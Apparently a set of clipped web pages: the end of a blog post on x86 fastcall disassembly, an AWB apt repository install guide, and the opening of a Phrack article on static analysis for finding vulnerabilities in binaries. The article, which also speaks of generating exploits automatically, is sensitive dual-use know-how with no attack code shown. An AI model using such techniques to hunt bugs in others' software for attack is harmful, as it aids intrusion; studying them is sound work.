010F12A8  call        SumOf (10F1136h)
010F12AD  mov         dword ptr [iResult],eax
    14:     return 0;
010F12B0  xor         eax,eax
    15: }
You should by this point be pretty familiar with function prologues, and the assembler that precedes a function call in the other conventions we’ve examined, so we’ll just look at the differences with __fastcall.
Looking at lines 16 to 20, we can see that of the three parameters passed to SumOf():
· the 3rd (iValThree) is being pushed onto the stack,
· the 2nd (iValTwo) is being moved into the edx register, and
· the 1st (iValOne) is being moved into the ecx register
Stepping into the disassembly of SumOf() you should see something like this (N.B. I unchecked “Show Symbol Names” before grabbing this text from the disassembly view so the addresses were all visible):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
     2: int __fastcall SumOf( int iParamOne, int iParamTwo, int iParamThree )
     3: {
010F1250  push        ebp
010F1251  mov         ebp,esp
010F1253  sub         esp,4Ch
010F1256  push        ebx
010F1257  push        esi
010F1258  push        edi
010F1259  mov         dword ptr [ebp-8],edx
010F125C  mov         dword ptr [ebp-4],ecx
     4:     int iLocal = iParamOne + iParamTwo + iParamThree;
010F125F  mov         eax,dword ptr [ebp-4]
010F1262  add         eax,dword ptr [ebp-8]
010F1265  add         eax,dword ptr [ebp+8]
010F1268  mov         dword ptr [ebp-0Ch],eax
     5:     return iLocal;
010F126B  mov         eax,dword ptr [ebp-0Ch]
     6: }
The assembly making up the function prologue is doing extra work compared to a stdcall function; taking the values of ecx and edx and storing them into the function’s Stack frame (lines 9 & 10).
Lines 12 to 14 then add the three values passed to it using eax – iParamOne (passed via ecx now in [ebp-4]), iParamTwo (passed via edx now in [ebp-8]), and iParamThree (passed via the Stack in [ebp+8]).
Line 15 sets iLocal from the sum calculated in eax, and then Line 16 moves the return value of the function into eax where the calling code will expect to find it (as previous established in this post).
That’s all well and good, but how is fastcall faster than the alternative calling conventions?
In theory, passing the arguments via registers should save two operations per parameter:
1. not writing the value into the Stack (i.e. memory access) before the function is called, and
2. not reading it from the Stack (i.e. memory access) when it is needed inside the function.
As a rule of thumb, performing less operations and avoiding those that involve accessing memory should result in faster code, but this is not always the case. I don’t want to get into discussing why this is, because on its own it is a subject for many posts and by someone more qualified than myself to explain (e.g. Bruce Dawson, Mike Acton, Tony Albrecht, Jaymin Kessler, or John McCutchan).
In all honesty I would be extremely surprised if the unoptimised code we’ve looked at runs any faster at all when using fastcall. As you can see by examining the disassembly above, the first of these potentially saved operations is being un-done by pushing the content of ecx and edx onto the Stack in the function prologue, and the second is being un-done by accessing the parameter values from the Stack in lines 12 & 13.
I assume that, like the other instances of unoptimised compiler generated assembler performing redundant operations we have come across, these unnecessary instructions would happily optimise away in a release build; however the sad fact is that it is pretty hard to test the disassembly of trivial programs like the one we’ve been looking at meaningfully in a release build configuration.
Why? because the optimising compiler is so good that any simple program (like this one) which uses compile time constants for input, and does no output will pretty much compile to “return 0;”
I leave it as an exercise for you, dear reader, to work out the smallest number of changes to this code that will result in disassembly that actually calls SumOf() :)
 
Summary
So, we have now seen how thiscall and fastcall differ from the other x86 calling conventions we’ve looked at, and we have seen yet again that even in simple code there is black magic going on behond the scenes of the language syntax.
No doubt we will revisit the Stack from time to time as this (Potentially neverending! Help!) series of articles continues, but I’ve now covered it in as much detail as I feel is appropriate until we’ve covered some other aspects of the Low Level view of C/C++ (for example; we will definitely be coming back to the Stack when we examine structs & classes and their memory layout to discuss pass by value).
Next time we’ll be looking at the disassembly from common C / C++ language constructs like loops and control statements, which are very useful things to be familiar with know if you find yourself staring at bunch of disassembly as a result of a crash in code you don’t have symbols for..
In case you missed it whilst reading the main body of the post, here’s that link again concerning the undocumented VS2010 compiler feature that dumps memory layouts of classes to the build output: http://thetweaker.wordpress.com/2010/11/07/d1reportallclasslayout-dumping-object-memory-layout/
Also, thanks to Fabian and Bruce for their help reviewing this post.
 

﻿http://asim.csail.mit.edu/redmine/projects/awb/wiki/AWB_Repository_Ubuntu 
AWB - AWB Repository Ubuntu - AWB/Leap Projects
Created:
1/22/2012 7:27:35 PM
Updated:
1/22/2012 7:27:35 PM
Author:

Tags:
bookmark research DSP


Install AWB from the Ubuntu APT Archive
Following are the instructions for installing Awb and friends from the Asim/AWB apt repository.
As of today (March 8, 2011) 32-bit and 64-builds are available only for Lucid.
Add the repository
Add the file /etc/apt/sources.list.d/asim.list with the following content:
## Asim/AWB Repository

deb http://asim.csail.mit.edu/apt/releases/ubuntu lucid main
deb-src http://asim.csail.mit.edu/apt/releases/ubuntu lucid main

Substitute /testing/ for /releases/ in the above lines to use the testing versions of the packages.
Update your repository information
apt-get update
Verify downloads from the repository
To verify the downloads from the repository do one of the following:
apt-get install asim-archive-keyring
or
gpg --keyserver hkp://subkeys.pgp.net --recv-keys DA3A44B7
gpg --export DA3A44B7 | apt-key add -
or
wget -O - http://asim.csail.mit.edu/apt/keys/asim-archive.key | apt-key add -
Install Awb
If you want to use asim, leap or another awb-based project you can just install that project's package, and awb will be installed automatically. But if you only want awb, then install awb from the apt archive with the following:
apt-get install awb
To use asim, you will want the asim libraries, which are installed with:
apt-get install asim-core-dev
To use leap, which automatically gets awb and the asim libraries, you can type the following:
apt-get install leap
The next step is the user's AWB setup

﻿http://www.phrack.org/issues.html?issue=64&id=8#article 
.:: Phrack Magazine ::.
Created:
5/29/2010 11:21:05 AM
Updated:
5/29/2010 11:21:05 AM
Author:
wishi
Tags:
Practical Software Verification asm binary instrumentation papers reversing


[ News ] [ Issues ] [ Authors ] [ Comments ] [ Search ] [ Stats ] [ Contact ]



.:: PHRACK ISSUES ::.

Issues: [ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ] [ 19 ] [ 20 ] [ 21 ] [ 22 ] [ 23 ] [ 24 ] [ 25 ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 ] [ 38 ] [ 39 ] [ 40 ] [ 41 ] [ 42 ] [ 43 ] [ 44 ] [ 45 ] [ 46 ] [ 47 ] [ 48 ] [ 49 ] [ 50 ] [ 51 ] [ 52 ] [ 53 ] [ 54 ] [ 55 ] [ 56 ] [ 57 ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 ] [ 66 ]
Get tar.gz
Current issue : #64 | Release date : 27/05/2007 | Editor : The Circle of Lost Hackers
Introduction
The Circle of Lost Hackers
Phrack Prophile of the new editors
The Circle of Lost Hackers
Phrack World News
The Circle of Lost Hackers
A brief history of the Underground scene
Duvel
Hijacking RDS TMC traffic information signal
lcars & danbia
Attacking the Core: Kernel Exploitation Notes
twiz & sgrakkyu
The revolution will be on YouTube
gladio
Automated vulnerability auditing in machine code
Tyler Durden
The use of set_head to defeat the wilderness
g463
Cryptanalysis of DPA-128
sysk
Mac OS X Wars - A XNU Hope
nemo
Hacking deeper in the system
scythale
The art of exploitation: Autopsy of cvsxpl
Ac1dB1tch3z
Know your enemy: Facing the cops
Lance
Remote blind TCP/IP spoofing
klm
Hacking your brain: The projection of consciousness
keptune
International scenes
Various
Comments
Title : Automated vulnerability auditing in machine code
Text mode 
Author : Tyler Durden

                  Automated vulnerability auditing in machine code

                        Tyler Durden <tyler@phrack.org> 

                              Phrack Magazine #64
                                
                             Version of May 22 2007

                                        

I. Introduction
   a/ On the need of auditing automatically
   b/ What are exploitation frameworks
   c/ Why this is not an exploitation framework
   d/ Why this is not fuzzing
   e/ Machine code auditing : really harder than sources ? 

II. Preparation
   a/ A first intuition 
   b/ Static analysis vs dynamic analysis
   c/ Dependences & predicates
       - Controlflow analysis
       - Dataflow analysis
   d/ Translation to intermediate forms
   e/ Induction variables (variables in loops)     

III. Analysis
   a/ What is a vulnerability ?
   b/ Buffer overflows and numerical intervals
        - Flow-insensitive
        - Flow-sensitive
        - Accelerating the analysis by widening
   c/ Type-state checking
        - Memory leaks
        - Heap corruptions      
   d/ More problems
        - Predicate analysis
        - Alias analysis and naive solutions
        - Hints on detecting race conditions

IV. Chevarista: an analyzer of binary programs
   a/ Project modelization
   b/ Program transformation
   c/ Vulnerability checking
   d/ Vulnerable paths extraction
   e/ Future work : Refinement

V. Related Work
   a/ Model Checking
   b/ Abstract Interpretation

VI. Conclusion
VII. Greetings
VIII. References
IX. The code
      

        .::###########################################################::.


Software have bugs. That is quite a known fact.



----------------------[ I. Introduction



In this article, we will discuss the design of an engine for automated 
vulnerability analysis of binary programs. The source code of the 
Chevarista static analyzer is given at the end of this document.

The purpose of this paper is not to disclose 0day vulnerability, but
to understand how it is possible to find them without (or with
restricted) human intervention. However, we will not friendly provide
the result of our automated auditing on predefined binaries : instead
we will always take generic examples of the most common difficulties 
encountered when auditing such programs. Our goal is to enlight the 
underground community about writing your own static analyzer and not
to be profitful for security companies or any profit oriented organization.

Instead of going straight to the results of the proposed implementation, 
we may introduce the domain of program analysis, without going deeply
in the theory (which can go very formal), but taking the perspective
of a hacker who is tired of focusing on a specific exploit problem
and want to investigate until which automatic extend it is possible
to find vulnerabilities and generate an exploit code for it without
human intervention.

Chevarista hasnt reached its goal of being this completely automated
tool, however it shows the path to implement incrementally such tool
with a genericity that makes it capable of finding any definable kind 
of vulnerability.

Detecting all the vulnerabilities of a given program can be
untractable, and this for many reasons. The first reason is that
we cannot predict that a program running forever will ever have
a bug or not. The second reason is that if this program ever stop,
the number of states (as in "memory contexts") it reached and passed
through before stopping is very big, and testing all of of possible
concrete program paths would either take your whole life, or a dedicated 
big cluster of machine working on this for you during ages.

As we need more automated systems to find bugs for us, and we do not
have such computational power, we need to be clever on what has to be 
analysed, how generic can we reason about programs, so a single small 
analyzer can reason about a lot of different kinds of bugs. After all, 
if the effort is not worth the genericity, its probably better to audit 
code manually which would be more productive. However, automated systems
are not limited to vulnerability findings, but because of their tight 
relation with the analyzed program, they can find the exact conditions 
in which that bug happens, and what is the context to reach for triggering it.

But someone could interject me : "But is not Fuzzing supposed to do
that already ?". My answer would be : Yes. But static analysis is
the intelligence inside Fuzzing. Fuzzy testing programs give very
good results but any good fuzzer need to be designed with major static
analysis orientations. This article also applies somewhat to fuzzing
but the proposed implementation of the Chevarista analyzer is not 
a fuzzer. The first reason is that Chevarista does not execute the
program for analyzing it. Instead, it acts like a (de)compiler but 
perform analysis instead of translating (back) to assembly (or source) code.
It is thus much more performant than fuzzing but require a lot of
development and litterature review for managing to have a complete
automatic tool that every hacker dream to maintain.

Another lost guy will support : "Your stuff looks more or less like an
exploitation framework, its not so new". Exploitation frameworks
are indeed not very new stuffs. None of them analyze for vulnerabilities,
and actually only works if the builtin exploits are good enough. When
the framework aims at letting you trigger exploits manually, then it
is not an automated framework anymore. This is why Chevarista is not
CORE-Impact or Metasploit : its an analyzer that find bugs in programs
and tell you where they are.

One more fat guy in the end of the room will be threatening: "It is simply
not possible to find vulnerabilities in code without the source .." and
then a lot of people will stand up and declare this as a prophety, 
because its already sufficiently hard to do it on source code anyway.
I would simply measure this judgement by several remarks: for some
peoples, assembly code -is- source code, thus having the assembly is
like having the source, without a certain number of information. That
is this amount of lost information that we need to recover when writing
a decompiler. 

First, we do not have the name of variables, but naming variables in a different
way does not affect the result of a vulnerability analysis. Second, we do not have
the types, but data types in compiled C programs do not really enforce properties 
about the variables values (because of C casts or a compiler lacking strong type 
checking). The only real information that is enforced is about variable size in
memory, which is recoverable from an assembly program most of the time. This
is not as true for C++ programs (or other programs written in higher level
objects-oriented or functional languages), but in this article we will 
mostly focuss on compiled C programs.

A widely spread opinion about program analysis is that its harder to 
acheive on a low-level (imperative) language rather than a high-level 
(imperative) language. This is true and false, we need to bring more 
precision about this statement. Specifically, we want to compare the
analysis of C code and the analysis of assembly code:


 ---------------------------------------------------------------------
| Available information   |      C code         |    Assembly code    |
|---------------------------------------------------------------------|
| Original variables names|    Yes (explicit)   |         No          |
|---------------------------------------------------------------------|
|   Original types names  |    Yes (explicit)   |         No          |
|---------------------------------------------------------------------|
|  Control Sequentiality  |    Yes (explicit)   |    Yes (explicit)   |
|---------------------------------------------------------------------|
|  Structured control     |    Yes (explicit)   |    Yes (recoverable)|
|---------------------------------------------------------------------|
|    Data dependencies    |    Yes (implicit)   |    Yes (implicit)   |
|---------------------------------------------------------------------|
|    Data Types           |    Yes (explicit)   |    Yes (recoverable)|
|---------------------------------------------------------------------|
|    Register transfers   |    No               |    Yes (explicit)   |
|---------------------------------------------------------------------|
|  Selected instructions  |    No               |    Yes (explicit)   |
 ---------------------------------------------------------------------

Lets discuss those points more in details:

 - The control sequentiality is obviously kept in the assembly, else
the processor would not know how to execute the binary program.
However the binary program does not contain a clearly structured
tree of execution. Conditionals, but especially, Loops, do not appear
as such in the executable code. We need a preliminary analysis for
structuring the control flow graph. This was done already on source
and binary code using different algorithms that we do not present
in this article.

- Data dependencies are not explicit even in the source program, however
we can compute it precisely both in the source code and the binary code.
The dataflow analysis in the binary code however is slightly different,
because it contains every single load and store between registers and
the memory, not only at the level of variables, as done in the source
program. Because of this, the assembly programs contains more instructions
than source programs contain statements. This is an advantage and a
disadvantage at the same time. It is an advantage because we can track
the flow in a much more fine-grained fashion at the machine level, and
that is what is necessary especially for all kind of optimizations, 
or machine-specific bugs that relies on a certain variable being either
in the memory or in a register, etc. This is a disadvantage because we 
need more memory to analyse such bigger program listings.

- Data types are explicit in the source program. Probably the recovery
of types is the hardest information to recover from a binary code. 
However this has been done already and the approach we present in this
paper is definitely compatible with existing work on type-based
decompilation. Data types are much harder to recover when dealing with
real objects (like classes in compiled C++ programs). We will not deal
with the problem of recovering object classes in this article, as we 
focuss on memory related vulnerabilities.

- Register level anomalies can happen [DLB], which can be useful for a 
hacker to determine how to create a context of registers or memory when 
writing exploits. Binary-level code analysis has this advantage that it 
provides a tighter approach to exploit generation on real world existing 
targets.

- Instruction level information is interested again to make sure we dont
miss bugs from the compiler itself. Its very academically well respected
to code a certified compiler which prove the semantic equivalence between
source code and compiled code but for the hacker point of view, it does 
not mean so much. Concrete use in the wild means concrete code,
means assembly. Additionally, it is rarer but it has been witnessed
already some irregularities in the processor's execution of specific
patterns of instructions, so an instruction level analyzer can deal with
those, but a source level analyzer cannot. A last reason I would mention
is that the source code of a project is very verbose. If a code analyzer
is embedded into some important device, either the source code of the
software inside the device will not be available, or the device will lack
storage or communication bandwidth to keep an accessible copy of the source
code. Binary code analyzer do not have this dependencie on source code and
can thus be used in a wider scope.


To sum-up, there is a lot of information recovery work before starting to
perform the source-like level analysis. However, the only information
that is not available after recovery is not mandatory for analysing
code : the name of types and variables is not affecting the 
execution of a program. We will abstract those away from our analysis
and use our own naming scheme, as presented in the next chapter of this 
article.




-------------[ II. Preparation




We have to go on the first wishes and try to understand better what
vulnerabilities are, how we can detect them automatically, are we
really capable to generate exploits from analyzing a program that we
do not even execute ? The answer is yes and no and we need to make 
things clear about this. The answer is yes, because if you know exactly
how to caracterize a bug, and if this bug is detectable by any 
algorithm, then we can code a program that will reason only about
those known-in-advance vulnerability specificities and convert the 
raw assembly (or source) code into an intermediate form that will make
clear where the specificities happens, so that the "signature" of the
vulnerability can be found if it is present in the program. The answer
is no, because giving an unknown vulnerability, we do not know in
advance about its specificities that caracterize its signature. It
means that we somewhat have to take an approximative signature and 
check the program, but the result might be an over-approximation (a
lot of false positives) or an under-approximation (finds nothing or
few but vulnerabilities exist without being detected).

As fuzzing and black-box testing are dynamic analysis, the core of 
our analyzer is not as such, but it can find an interest to run the 
program for a different purpose than a fuzzer. Those try their 
chance on a randomly crafted input. Fuzzer does not have a *inner*
knowledge of the program they analyze. This is a major issue because
the dynamic analyzer that is a fuzzer cannot optimize or refine
its inputs depending on what are unobservable events for him. A fuzzer
can as well be coupled with a tracer [AD] or a debugger, so that fuzzing 
is guided by the debugger knowledge about internal memory states and 
variable values during the execution of the program.

Nevertheless, the real concept of a code analysis tool must be an integrated 
solution, to avoid losing even more performance when using an external 
debugger (like gdb which is awfully slow when using ptrace). Our 
technique of analysis is capable of taking decisions depending on 
internal states of a program even without executing them. However, our 
representation of a state is abstract : we do not compute the whole 
content of the real memory state at each step of execution, but consider
only the meaningful information about the behavior of the program by automatically 
letting the analyzer to annotate the code with qualifiers such as : "The next 
instruction of the will perform a memory allocation" or "Register R or memory cell 
M will contain a pointer on a dynamically allocated memory region". We will explain
in more details heap related properties checking in the type-state analysis
paragraph of Part III.

In this part of the paper, we will describe a family of intermediate forms
which bridge the gap between code analysis on a structured code, and code
analysis on an unstructured (assembly) code. Conversion to those intermediate
forms can be done from binary code (like in an analyzing decompiler) or from
source code (like in an analyzing compiler). In this article, we will
transform binary code into a program written in an intermediate form, and then
perform all the analysis on this intermediate form. All the studies properties
will be related to dataflow analysis. No structured control flow is necessary
to perform those, a simple control flow graph (or even list of basic blocks
with xrefs) can be the starting point of such analysis.

Lets be more  concrete a illustrate how we can analyze the internal states of
a program without executing it. We start with a very basic piece of code:

        
Stub 1:
-------
                         o                      o  : internal state
 if (a)                 / \             
   b++;         ->     o   o                 /\ : control-flow splitting 
 else                   \ /                     \/ : control-flow merging
   c--;                  o
-------                        


In this simplistic example, we represent the program as a graph whoose
nodes are states and edges are control flow dependencies. What is an internal
state ? If we want to use all the information of each line of code,     
we need to make it an object remembering which variables are used and modified 
(including status flags of the processors). Then, each of those control state
perform certains operations before jumping on another part of the code (represented
by the internal state for the if() or else() code stubs). Once the if/else 
code is finished, both paths merge into a unique state, which is the state after
having executed the conditional statement. Depending how abstract is the analysis,
the internal program states will track more or less requested information at each
computation step. For example, once must differentiate a control-flow analysis 
(like in the previous example), and a dataflow analysis.

Imagine this piece of code:


Stub 2:
-------

Code                    Control-flow              Data-flow with predicates

                                                           a
                                                        ---o--- 
                                                       /    \  \
                                                      /      \  \
                                                     /  c     \  \
c = 21;                     o                       |   o    b o  \
b = a;                      |                       |  / \    /    \ 
a = 42;                     o                        \/   ------   /
if (b != c)                / \                       /\  |b != c| /  
  a++;                    o   o                     /  \  ------ /
else                       \ /                     /    \ /   \ /
  a--;                      o                     |    a o   a o
c += a;                     |                      \     |    /
-------                     o                       \    |   /
                                                     \   |  /
                                                      \  | / 
                                                       c o      
                                                         |
                                                       (...)
                            

In a dataflow  graph, the nodes are the variables, and the arrow are the
dependences between variables. The control-flow and data-flow graphs are
actually complementary informations. One only cares about the sequentiality
in the graph, the other one care about the dependences between the variables
without apparently enforcing any order of evaluation. Adding predicates
to a dataflow graph helps at determining which nodes are involved in a
condition and which instance of the successors data nodes (in our case, 
variable a in the if() or the else()) should be considered for our 
analysis.

As you can see, even a simple data-flow graph with only few variables
starts to get messy already. To clarify the reprensentation of the 
program we are working on, we need some kind of intermediate representation
that keep the sequentiality of the control-flow graph, but also provide the
dependences of the data-flow graph, so we can reason on both of them
using a single structure. We can use some kind of "program dependence graph"
that would sum it up both in a single graph. That is the graph we will consider
for the next examples of the article.

Some intermediate forms introduces special nodes in the data-flow graph, and
give a well-recognizable types to those nodes. This is the case of Phi() and
Sigma() nodes in the Static Single Assignment [SSA] and Static Single 
Information [SSI] intermediate forms and that facilitates indeed the reasoning
on the data-flow graph. Additionally, decomposing a single variable into
multiple "single assignments" (and multiple single use too, in the SSI form),
that is naming uniquely each apparition of a given variable, help at desambiguizing 
which instance of the variable we are talking about at a given point of the program:



Stub 2 in SSA form      Stub 2 in SSI form      Data-flow graph in SSI form
------------------      ------------------      --------------------------

c1 = 21;                c1 = 21;                                      o a1
b1 = a1;                b1 = a1;                                     / \
if (b1 != c1)           (a3, a4) = Sigma(a2);  (a3, a4) = Sigma(a2) o   o b1
  a2 = a1 + 1;          if (b1 != c1)                              /|
else                      a3 = a2 + 1;                            / |
                                                                 /  | 
                                                                /   |    
                                                               /    |    o c1
  a3 = a1 - 1;          else                                   |    |    |
a4 = Phi(a2, a3)          a4 = a2 - 1;                      a3 o    o a4 |
c2 = c1 + a4;           a5 = Phi(a3, a4);                       \   |    |
                        c2 = c1 + a5;                            \  |    |
----------------        -------------------                       \ |    |
                                                                   \|    |
                                                  a5 = Phi(a3, a4)  o    |
                                                                     \  /
                                                                      o c2
                                                                      .
                                                                      .
                                                                      .

      
Note that we have not put the predicates (condition test) in that graph. In
practice, its more convenient to have additional links in the graph, for 
predicates (that ease the testing of the predicate when walking on the graph),
but we have removed it just for clarifying what is SSA/SSI about.

Those "symbolic-choice functions" Phi() and Sigma() might sound a little bit
abstract. Indeed, they dont change the meaning of a program, but they capture
the information that a given data node has multiple successors (Sigma) or
ancestors (Phi). The curious reader is invited to look at the references for
more details about how to perform the intermediate translation. We will here 
focuss on the use of such representation, especially when analyzing code 
with loops, like this one:


                Stub 3 C code           Stub 3 in Labelled SSI form        
                -------------           ---------------------------       

                int a = 42;             int a1 = 42;
                int i = 0;              int i1 = 0;

                                        P1 = [i1 < a1]
                                        (<i4:Loop>, <i9:End>) = Sigma(P1,i2);
                                        (<a4:Loop>, <a9:End>) = Sigma(P1,a2);
                        
                while (i < a)           
                {                 =>    Loop:
                                         a3 = Phi(<BLoop:a1>, <BEnd:a5>);
                                         i3 = Phi(<BLoop:i1>, <BEnd:i5>);
                  a--;                   a5 = a4 - 1;
                  i++;                   i5 = i4 + 1;
                                         P2 = [i5 < a5]
                                         (<a4:Loop>, <a9:End>) = Sigma(P2,a6);
                                         (<i4:Loop>, <i9:End>) = Sigma(P2,i6);
                } 
                                        End:
                                         a8 = Phi(<BLoop:a1>, <Bend:a5>);
                                         i8 = Phi(<BLoop:i1>, <Bend:i5>);
                a += i;                  a10 = a9 + i9;
                -----------             ---------------------------------



By trying to synthetize this form a bit more (grouping the variables
under a unique Phi() or Sigma() at merge or split points of the control
flow graph), we obtain a smaller but identical program. This time,
the Sigma and Phi functions do not take a single variable list in parameter,
but a vector of list (one list per variable):


                Stub 3 in Factored & Labelled SSI form        
                --------------------------------------

                int a1 = 42;
                int i1 = 0;

                P1 = [i1 < a1]

                (<i4:Loop>, <i9:End>)            (i2)
                (                   ) = Sigma(P1,(  ));
                (<a4:Loop>, <a9:End>)            (a2)
           
                        
                Loop:

                (a3)      (<BLoop:a1>, <BEnd:a5>)
                (  ) = Phi(                     );
                (i3)      (<BLoop:i1>, <BEnd:i5>)

                a5 = a4 - 1;
                i5 = i4 + 1;

                P2 = [i5 < a5]

                (<a4:Loop>, <a9:End>)             (a6)
                (                   ) = Sigma(P2, (  ));
                (<i4:Loop>, <i9:End>)             (i6)

                End:

                (a8)      (<BLoop:a1>, <Bend:a5>)
                (  ) = Phi(                     );
                (i8)      (<BLoop:i1>, <Bend:i5>)

                a10 = a9 + i9;
                ----------------------------------------



How can we add information to this intermediate form ? Now the Phi()
and Sigma() functions allows us to reason about forward dataflow
(in the normal execution order, using Sigma) and backward dataflow 
analysis (in the reverse order, using Phi). We can easily find the
inductive variables (variables that depends on themselves, like the
index or incrementing pointers in a loop), just using a simple analysis:

Lets consider the Sigma() before each Label, and try to iterate its 
arguments:


                
                (<a4:Loop>, <a9:End>)             (a6)
                (                   ) = Sigma(P2, (  ));
                (<i4:Loop>, <i9:End>)             (i6)
                

        ->   (<a5:Loop>,<a10:End>)
                (                   )
                (<i5:Loop>,   _|_   )


        ->      (<a6:Loop>,   _|_   )
                (                   )
                (<i6:Loop>,   _|_   )



We take _|_ ("bottom") as a notation to say that a variable
does not have any more successors after a certain iteration
of the Sigma() function.

After some iterations (in that example, 2), we notice that 
the left-hand side and the right-hand side are identical 
for variables a and i. Indeed, both side are written given
a6 and i6. In the mathematical jargon, that is what is called
a fixpoint (of a function F) : 

        F(X) = X

or in this precise example:

        a6 = Sigma(a6)

By doing that simple iteration-based analysis over our 
symbolic functions, we are capable to deduce in an automated
way which variables are inductives in loops. In our example,
both a and i are inductive. This is very useful as you can imagine, 
since those variables become of special interest for us, especially 
when looking for  buffer overflows that might happen on buffers in 
looping code.

We will now somewhat specialize this analysis in the following
part of this article, by showing how this representation can
apply to



-------------------[ III. Analysis



        The previous part of the article introduced various notions
in program analysis. We might not use all the formalism in the future
of this article, and focuss on concrete examples. However, keep in
mind that we reason from now for analysis on the intermediate form
programs. This intermediate form is suitable for both source code
and binary code, but we will keep on staying at binary level for our
examples, proposing the translation to C only for understanding
purposes. Until now, we have shown our to understand data-flow analysis
and finding inductive variables from the (source or binary) code of 
the program. 

So what are the steps to find vulnerabilities now ?

A first intuition is that there is no generic definition for a 
vulnerability. But if we can describes them as behavior that 
violates a certain precise property, we are able to state if a 
program has a vulnerability or not. Generally, the property depends
on the class of bugs you want to analyse. For instance, properties 
that express buffer overflow safety or property that express a heap 
corruption (say, a double free) are different ones. In the first case, 
we talk about the indexation of a certain memory zone which has to never
go further the limit of the allocated memory. Additionally, for
having an overflow, this must be a write access. In case we have a
read access, we could refer this as an info-leak bug, which 
may be blindly or unblindly used by an attacker, depending if the
result of the memory read can be inspected from outside the process
or not. Sometimes a read-only out of bound access can also be used
to access a part of the code that is not supposed to be executed
in such context (if the out-of-bound access is used in a predicate).
In all cases, its interesting anyway to get the information by our 
analyzer of this unsupposed behavior, because this might lead to a 
wrong behavior, and thus, a bug.

In this part of the article, we will look at different class of
bugs, and understand how we can caracterize them, by running very
simple and repetitive, easy to implement, algorithm. This algorithm
is simple only because we act on an intermediate form that already
indicates the meaningful dataflow and controlflow facts of the
program. Additionally, we will reason either forward or backward,
depending on what is the most adapted to the vulnerability.

We will start by an example of numerical interval analysis and show
how it can be useful to detect buffer overflows. We will then show
how the dataflow graph without any value information can be useful
for finding problems happening on the heap. We will enrich our 
presentation by describing a very classic problem in program analysis,
which is  the discovery of equivalence between pointers (do they point
always on the same variable ? sometimes only ? never ?), also known as
alias analysis. We will explain why this analysis is mandatory for any
serious analyzer that acts on real-world programs. Finally, we will
give some more hints about analyzing concurrency properties inside
multithread code, trying to caracterize what is a race condition.



------------[ A. Numerical intervals




        When looking for buffer overflows or integer overflows, the 
mattering information is about the values that can be taken by 
memory indexes or integer variables, which is a numerical value.

Obviously, it would not be serious to compute every single possible
value for all variables of the program, at each program path : this
would take too much time to compute and/or too much memory for the values
graph to get mapped entirely.

By using certain abstractions like intervals, we can represent the set
of all possible values of a program a certain point of the program. We
will illustrate this by an example right now. The example itself is
meaningless, but the interesting point is to understand the mecanized
way of deducing information using the dataflow information of the program
graph.


We need to start by a very introductionary example, which consists of
finding


Stub 4                                  Interval analysis of stub 4
-------                                 ---------------------------

int  a, b;      

b = 0;                                  b = [0 to 0]
if (rand())              
 b--;                                   b = [-1 to -1]
else
 b++;                                   b = [1 to 1]

                                        After if/else:

                                        b = [-1 to 1]

a = 1000000 / b;                        a = [1000000 / -1 to 1000000 / 1] 
                                            [Reported Error: b can be 0]


In this example, a flow-insensitive analyzer will merge the interval of values
at each program control flow merge. This is a seducing approach as you need to
pass a single time on the whole program to compute all intervals. However, this
approach is untractable most of the time. Why ? In this simple example, the
flow-insensitive analyzer will report a bug of potential division by 0, whereas
it is untrue that b can reach the value 0 at the division program point. This
is because 0 is in the interval [-1 to 1] that this false positive is reported
by the analyzer. How can we avoid this kind of over-conservative analysis ?

We need to introduce some flow-sensitiveness to the analysis, and differentiate
the interval for different program path of the program. If we do a complete flow 
sensitive analysis of this example, we have:


Stub 4                                  Interval analysis of stub 4
-------                                 ---------------------------

int  a, b;      

b = 0;                                  b = [0 to 0]
if (rand())              
 b--;                                   b = [-1 to -1]
else
 b++;                                   b = [1 to 1]

                                        After if/else:

                                        b = [-1 to -1 OR 1 to 1]

a = 1000000 / b;                        a = [1000000 / -1 to 1000000 / -1] or 
                                            [1000000 /  1 to 1000000 /  1] 
                                          = {-1000000 or 1000000}


Then the false positive disapears. We may take care of avoiding to be flow sensitive
from the beginning. Indeed, if the flow-insensitive analysis gives no bug, then no
bugs will be reported by the flow-sensitive analysis either (at least for this example).
Additionally, computing the whole flow sensitive sets of intervals at some program point
will grow exponentially in the number of data flow merging point (that is, Phi() function
of the SSA form). 

For this reason, the best approach seems to start with a completely flow insensitive, 
and refine the analysis on demand. If the program is transforted into SSI form, then 
it becomes pretty easy to know which source intervals we need to use to compute the 
destination variable interval of values. We will use the same kind of analysis for 
detecting buffer overflows, in that case the interval analysis will be used on the 
index variables that are used for accessing memory at a certain offset from a given 
base address.

Before doing this, we might want to do a remark on the choice of an interval abstraction
itself. This abstraction does not work well when bit swapping is involved into the 
operations. Indeed, the intervals will generally have meaningless values when bits are
moved inside the variable. If a cryptographic operation used bit shift that introduces 0 
for replacing shifted bits, that would not be a a problem, but swapping bits inside a given 
word is a problem, since the output interval is then meaningless.


 ex:
        c = a | b               (with A, B, and C integers)
        c = a ^ b
        c = not(c)


Giving the interval of A and B, what can we deduce for the intervals of C ? Its less trivial
than a simple numerical change in the variable. Interval analysis is not very well adapted
for analyzing this kind of code, mostly found in cryptographic routines.

We will now analyze an example that involves a buffer overflow on the heap. Before
doing the interval analysis, we will do a first pass to inform us about the statement
related to memory allocation and disallocation. Knowing where memory is allocated
and disallocated is a pre-requirement for any further bound checking analysis.


Stub 5                                  Interval analysis with alloc annotations
------                                  ----------------------------------------

char *buf;                              buf = _|_ (uninitialized)
int   n = rand();                       n   = [-Inf, +Inf]
buf = malloc(n)                         buf = initialized of size [-Inf to Inf]
i   = 0;                                i   = [0,0], [0,1] ... [0,N]

while (i <= n)                                     
{               
  assert(i < N)                          
  buf[i] = 0x00;                        
        
  i++;                                  i   = [0,1], [0,2] ... [0,N]
                                             (iter1  iter2 ... iterN)
}
return (i);


Lets first explain that the assert() is a logical representation in the intermediate
form, and is not an assert() like in C program. Again, we never do any dynamic analysis
but only static analysis without any execution. In the static analysis of the intermediate
form program, a some point the control flow will reach a node containing the assert statement.
In the intermediate (abstract) word, reaching an assert() means performing a check on the
